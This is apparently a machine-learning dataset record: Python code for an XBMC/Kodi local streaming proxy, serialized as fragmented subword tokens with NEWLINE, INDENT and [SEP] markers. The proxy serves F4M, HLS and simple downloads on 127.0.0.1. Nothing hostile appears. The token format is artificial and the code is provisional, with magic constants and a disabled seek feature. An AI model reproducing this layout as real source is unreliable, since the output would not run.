"\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urllib2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "traceback_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "socket_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "Sock", "et", "Server_", "import_", "Thread", "ing", "Mix", "In_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "Base", "HTTP", "Server_", "import_", "HTTP", "Server_", ",_", "Base", "HTTP", "Request", "Handler_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "urllib_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "urlparse_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "f4", "m", "Downloader_", "import_", "F4", "MD", "own", "loader_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "inter", "al", "Simple", "Downloader_", "import_", "inter", "al", "Simple", "Downloader_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "hls", "Downloader_", "import_", "HL", "SD", "own", "loader_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "xbmc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "thread_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "zlib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "String", "IO_", "import_", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "hmac_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "hashlib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "base64_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "threading_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "xbmcgui_", ",_", "xbmcplugin_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "xbmc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "hashlib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g", "\\u", "stop", "Event_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g", "\\u", "downloader_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "HOST", "\\u", "NAME_", "=_", "'", "127", ".0", ".0", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "PORT", "\\u", "NUMBER_", "=_", "553", "33_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "My", "Handler_", "(_", "Base", "HTTP", "Request", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", "Serv", "es", " ", "a", " ", "HEAD", " ", "request", "\\", "10", ";", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\"\"\"", "\\", "10", ";", " ", " ", " ", "Serv", "es", " ", "a", " ", "GET", " ", "request", ".", "\\", "10", ";", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\"\"\"", "\\", "10", ";", " ", " ", " ", "Sen", "ds", " ", "the", " ", "request", "ed", " ", "file", " ", "and", " ", "add", " ", "addition", "al", " ", "header", "s", ".", "\\", "10", ";", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "My", "Handler_", "(_", "Base", "HTTP", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "do", "\\u", "HEAD_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "XB", "MC", "Local", "Pro", "xy", ":", " ", "Servi", "ng", " ", "HEAD", " ", "request", "...\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "send", "\\u", "response_", "(_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rtype_", "=_", "\"", "fl", "v", "-", "applica", "tion", "/", "oct", "et", "-", "stream", "\"_", "#", "default", " ", "type", " ", "coul", "d", " ", "have", " ", "gone", " ", "to", " ", "the", " ", "server", " ", "to", " ", "get", " ", "it", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "self", ".", "send", "\\u", "header", "(\"", "Accept", "-", "Range", "s", "\",\"", "bytes", "\")", "_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "end", "\\u", "headers_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "s", ".", "answer", "\\u", "request", "(", "Fal", "se", ")_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "My", "Handler_", "(_", "Base", "HTTP", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "do", "\\u", "GET_", "(_", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "XB", "MC", "Local", "Pro", "xy", ":", " ", "Servi", "ng", " ", "GET", " ", "request", "...\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "._", "answer", "\\u", "request_", "(_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "My", "Handler_", "(_", "Base", "HTTP", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "answer", "\\u", "request_", "(_", "self_", ",_", "send", "Data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "global_", "g", "\\u", "stop", "Event_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "global_", "g", "\\u", "downloader_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Pul", "l", " ", "apart", " ", "request", " ", "path_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request", "\\u", "path_", "=_", "self_", "._", "path_", "[_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request", "\\u", "path_", "=_", "re_", "._", "sub_", "(_", "r", "\"\\\\", "?", ".*\"_", ",_", "\"\"_", ",_", "request", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "If", " ", "a", " ", "request", " ", "to", " ", "stop", " ", "is", " ", "sent", ",", " ", "shut", " ", "down", " ", "the", " ", "proxy_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "request", "\\u", "path_", "._", "lower_", "(_", ")_", "==_", "\"", "stop", "\"_", ":_", "#", " ", "all", " ", "special", " ", "web", " ", "interface", "s", " ", "here_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "exit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "request", "\\u", "path_", "._", "lower_", "(_", ")_", "==_", "\"", "fav", "icon", ".", "ico", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "don", "t", " ", "have", " ", "no", " ", "icon", "e", " ", "here", ",", " ", "may", " ", "be", " ", "in", " ", "future", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "wfile_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "(_", "url_", ",_", "proxy_", ",_", "use", "\\u", "proxy", "\\u", "for", "\\u", "chunks_", ",_", "max", "bitrate_", ",_", "simple", "downloader_", ",_", "auth_", ",_", "stream", "type_", ")_", "=_", "self_", "._", "decode", "\\u", "url_", "(_", "request", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "simple", "downloader", "xxxxxxxx", "xxxxxx", "x", "'_", ",_", "simple", "downloader_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "stream", "type_", "==_", "''_", "or_", "stream", "type_", "==_", "None_", "or_", "stream", "type_", "==_", "'", "none", "'_", ":_", "stream", "type_", "=_", "'", "HD", "S", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "stream", "type_", "==_", "'", "HD", "S", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Ur", "l", " ", "receive", "d", " ", "at", " ", "proxy", "'_", ",_", "url_", ",_", "proxy_", ",_", "use", "\\u", "proxy", "\\u", "for", "\\u", "chunks_", ",_", "max", "bitrate_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Sen", "d", " ", "file", " ", "request_", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "handle", "\\u", "send", "\\u", "request", "(", "download", "\\u", "id", ",", "file", "\\u", "url", ",", " ", "file", "\\u", "name", ",", " ", "request", "ed", "\\u", "range", ",", "download", "\\u", "mode", " ", ",", "keep", "\\u", "file", ",", "connections", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "downloader_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "downloader", "=", "g", "\\u", "downloader_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "downloader_", "or_", "downloader_", "._", "live_", "==_", "True_", "or_", "not_", "(_", "downloader_", "._", "init", "\\u", "done_", "and_", "downloader_", "._", "init", "\\u", "url_", "==_", "url_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "downloader_", "=_", "F4", "MD", "own", "loader_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "downloader_", "._", "init_", "(_", "self_", "._", "wfile_", ",_", "url_", ",_", "proxy_", ",_", "use", "\\u", "proxy", "\\u", "for", "\\u", "chunks_", ",_", "g", "\\u", "stop", "Event_", ",_", "max", "bitrate_", ",_", "auth_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "'", "cann", "ot", " ", "init", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "g", "\\u", "downloader_", "=_", "downloader_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "init", "...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "enable", "Seek", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request", "ed", "\\u", "range_", "=_", "self_", "._", "headers_", "._", "getheader_", "(_", "\"", "Range", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "request", "ed", "\\u", "range_", "==_", "None_", ":_", "request", "ed", "\\u", "range_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sra", "nge_", ",_", "era", "nge_", "=_", "(_", "None_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "downloader_", "._", "live_", "==_", "False_", "and_", "len_", "(_", "request", "ed", "\\u", "range_", ")_", ">_", "0_", "and_", "not_", "request", "ed", "\\u", "range_", "==_", "\"", "bytes", "=", "0", "-0", "\"_", ":_", "#", "we", " ", "have", " ", "to", " ", "stream", "?", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "enable", "Seek", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "sra", "nge_", ",_", "era", "nge_", ")_", "=_", "self_", "._", "get", "\\u", "range", "\\u", "request_", "(_", "request", "ed", "\\u", "range_", ",_", "downloader_", "._", "total", "\\u", "frags", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "print_", "'", "PROX", "Y", " ", "DATA", "'_", ",_", "downloader_", "._", "live_", ",_", "enable", "Seek", "_", ",_", "request", "ed", "\\u", "range_", ",_", "downloader_", "._", "total", "\\u", "frags", "_", ",_", "sra", "nge_", ",_", "era", "nge_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "enable", "Seek", "_", "=_", "False_", "##", "disable", "d", " ", "for", " ", "time", " ", "bei", "ng", ",", " ", "coul", "dn", "'", "t", " ", "find", " ", "bett", "er", " ", "way", " ", "to", " ", "handle_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fra", "mg", "ement", "To", "Send_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "infla", "te_", "=_", "181", "500", "2_", "#(", "652", "668", "4", "-", "466", "/", "3", ")#", "*", "373", "/", "downloader", ".", "total", "\\u", "frags", "#", " ", "414", "2", "*", "1024", "*", "243", "/", "8", "/", "40", " ", "#", "1", "#", "1024", "*", "1024_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "enable", "Seek", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "rty", "pe", "=\"", "video", "/", "x", "-", "fl", "v", "\"", " ", "#", "just", " ", "as", " ", "default_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "send", "\\u", "response_", "(_", "206_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rtype_", "=_", "\"", "fl", "v", "-", "applica", "tion", "/", "oct", "et", "-", "stream", "\"_", "#", "default", " ", "type", " ", "coul", "d", " ", "have", " ", "gone", " ", "to", " ", "the", " ", "server", " ", "to", " ", "get", " ", "it", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "send", "\\u", "header_", "(_", "\"", "Conten", "t", "-", "Type", "\"_", ",_", "rtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "send", "\\u", "header_", "(_", "\"", "Accept", "-", "Range", "s", "\"_", ",_", "\"", "bytes", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "not", " ", "LIVE", ",", "enable", " ", "seek", "'_", ",_", "downloader_", "._", "total", "\\u", "frags", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "totals", "ize_", "=_", "downloader_", "._", "total", "\\u", "frags", "_", "*_", "infla", "te_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fra", "mg", "ement", "To", "Send_", "=_", "1_", "#", "downloader", ".", "total", "\\u", "frags", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "era", "nge_", "=_", "sra", "nge_", "+_", "fra", "mg", "ement", "To", "Send_", "*_", "infla", "te_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "era", "nge_", ">=_", "totals", "ize_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "era", "nge_", "=_", "totals", "ize_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "cra", "nge", "=\"", "bytes", " ", "\"+", "str", "(", "sra", "nge", ")+", "\"-", "\"", " ", "+", "str", "(", "int", "(", "downloader", ".", "total", "\\u", "frags", "-1", "))", "+\"", "/\"", "+", "str", "(", "downloader", ".", "total", "\\u", "frags", ")#", "recalc", "ulate", " ", "cra", "nge", " ", "based", " ", "on", " ", "sra", "nge", ",", " ", "porti", "on", "Len", " ", "and", " ", "content", "\\u", "size", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "cra", "nge", "=\"", "bytes", " ", "\"+", "str", "(", "sra", "nge", ")+", "\"-", "\"", " ", "+", "str", "(", "int", "(", "totals", "ize", "-1", "))", "+\"", "/\"", "+", "str", "(", "totals", "ize", ")#", "recalc", "ulate", " ", "cra", "nge", " ", "based", " ", "on", " ", "sra", "nge", ",", " ", "porti", "on", "Len", " ", "and", " ", "content", "\\u", "size", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cra", "nge_", "=_", "\"", "bytes", " ", "\"_", "+_", "str_", "(_", "sra", "nge_", ")_", "+_", "\"-\"_", "+_", "str_", "(_", "int_", "(_", "era", "nge_", ")_", ")_", "+_", "\"/*", "\"_", "#", "+", "str", "(", "totals", "ize", ")#", "recalc", "ulate", " ", "cra", "nge", " ", "based", " ", "on", " ", "sra", "nge", ",", " ", "porti", "on", "Len", " ", "and", " ", "content", "\\u", "size", " _", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "sra", "nge_", "/_", "infla", "te_", ",_", "era", "nge_", "/_", "infla", "te_", ",_", "totals", "ize_", "/_", "infla", "te_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "send", "\\u", "header_", "(_", "\"", "Conten", "t", "-", "Length", "\"_", ",_", "str_", "(_", "totals", "ize_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "send", "\\u", "header_", "(_", "\"", "Conten", "t", "-", "Range", "\"_", ",_", "cra", "nge_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "etag_", "=_", "self_", "._", "generat", "e\\u", "ET", "ag_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "send", "\\u", "header_", "(_", "\"", "ET", "ag", "\"_", ",_", "etag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "cra", "nge_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "send", "\\u", "header_", "(_", "\"", "Las", "t", "-", "Modifie", "d", "\"_", ",_", "\"", "We", "d", ",", " ", "21", " ", "Fe", "b", " ", "2000", " ", "0", "8", ":", "4", "3", ":", "3", "9", " ", "GM", "T", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "send", "\\u", "header_", "(_", "\"", "Cache", "-", "Control", "\"_", ",_", "\"", "public", ",", " ", "must", "-", "rev", "alid", "ate", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "send", "\\u", "header_", "(_", "\"", "Cache", "-", "Control", "\"_", ",_", "\"", "no", "-", "cache", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "send", "\\u", "header_", "(_", "\"", "Pra", "gma", "\"_", ",_", "\"", "no", "-", "cache", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "send", "\\u", "header_", "(_", "\"", "features", "\"_", ",_", "\"", "seek", "able", ",", "stri", "dable", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "send", "\\u", "header_", "(_", "\"", "client", "-", "id", "\"_", ",_", "\"", "12345", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "send", "\\u", "header_", "(_", "\"", "Connect", "ion", "\"_", ",_", "'", "close", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "send", "\\u", "response_", "(_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rtype_", "=_", "\"", "fl", "v", "-", "applica", "tion", "/", "oct", "et", "-", "stream", "\"_", "#", "default", " ", "type", " ", "coul", "d", " ", "have", " ", "gone", " ", "to", " ", "the", " ", "server", " ", "to", " ", "get", " ", "it", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "send", "\\u", "header_", "(_", "\"", "Conten", "t", "-", "Type", "\"_", ",_", "rtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sra", "nge_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "stream", "type_", "==_", "'", "SIMPLE", "'_", "or_", "simple", "downloader_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "downloader_", "=_", "inter", "al", "Simple", "Downloader_", "(_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "downloader_", "._", "init_", "(_", "self_", "._", "wfile_", ",_", "url_", ",_", "proxy_", ",_", "g", "\\u", "stop", "Event_", ",_", "max", "bitrate_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "'", "cann", "ot", " ", "init", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sra", "nge_", ",_", "fra", "mg", "ement", "To", "Send_", "=_", "(_", "None_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "send", "\\u", "response_", "(_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rtype_", "=_", "\"", "fl", "v", "-", "applica", "tion", "/", "oct", "et", "-", "stream", "\"_", "#", "default", " ", "type", " ", "coul", "d", " ", "have", " ", "gone", " ", "to", " ", "the", " ", "server", " ", "to", " ", "get", " ", "it", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "send", "\\u", "header_", "(_", "\"", "Conten", "t", "-", "Type", "\"_", ",_", "rtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sra", "nge_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "stream", "type_", "==_", "'", "HL", "S", "'_", "or_", "simple", "downloader_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "downloader_", "=_", "HL", "SD", "own", "loader_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "downloader_", "._", "init_", "(_", "self_", "._", "wfile_", ",_", "url_", ",_", "proxy_", ",_", "use", "\\u", "proxy", "\\u", "for", "\\u", "chunks_", ",_", "g", "\\u", "stop", "Event_", ",_", "max", "bitrate_", ",_", "auth_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "print_", "'", "cann", "ot", " ", "init", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sra", "nge_", ",_", "fra", "mg", "ement", "To", "Send_", "=_", "(_", "None_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "send", "\\u", "response_", "(_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rtype_", "=_", "\"", "fl", "v", "-", "applica", "tion", "/", "oct", "et", "-", "stream", "\"_", "#", "default", " ", "type", " ", "coul", "d", " ", "have", " ", "gone", " ", "to", " ", "the", " ", "server", " ", "to", " ", "get", " ", "it", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "send", "\\u", "header_", "(_", "\"", "Conten", "t", "-", "Type", "\"_", ",_", "rtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sra", "nge_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "rty", "pe", "=\"", "fl", "v", "-", "applica", "tion", "/", "oct", "et", "-", "stream", "\"", " ", " ", "#", "default", " ", "type", " ", "coul", "d", " ", "have", " ", "gone", " ", "to", " ", "the", " ", "server", " ", "to", " ", "get", " ", "it", ".", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "self", ".", "send", "\\u", "header", "(\"", "Conten", "t", "-", "Type", "\",", " ", "rty", "pe", ")", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "end", "\\u", "headers_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "sra", "nge_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sra", "nge_", "=_", "sra", "nge_", "/_", "infla", "te_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "send", "Data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "downloader_", "._", "keep", "\\u", "sendin", "g", "\\u", "video_", "(_", "self_", "._", "wfile_", ",_", "sra", "nge_", ",_", "fra", "mg", "ement", "To", "Send_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "runn", "ing", "thread", "=", "thread", ".", "start", "\\u", "new", "\\u", "thread", "(", "downloader", ".", "download", ",(", "self", ".", "wf", "ile", ",", "url", ",", "proxy", ",", "use", "\\u", "proxy", "\\u", "for", "\\u", "chunks", ",)", ")_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'", "sra", "nge", ",", "fra", "mg", "ement", "To", "Sen", "d", "'_", ",_", "sra", "nge_", ",_", "fra", "mg", "ement", "To", "Send_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "runn", "ing", "thread", "=", "thread", ".", "start", "\\u", "new", "\\u", "thread", "(", "downloader", ".", "keep", "\\u", "sendin", "g", "\\u", "video", ",(", "self", ".", "wf", "ile", ",", "sra", "nge", ",", "fra", "mg", "ement", "To", "Sen", "d", ",)", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "xbmc_", "._", "sleep_", "(_", "500_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "not_", "downloader_", "._", "status_", "==_", "\"", "finish", "ed", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "xbmc_", "._", "sleep_", "(_", "200_", ")_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 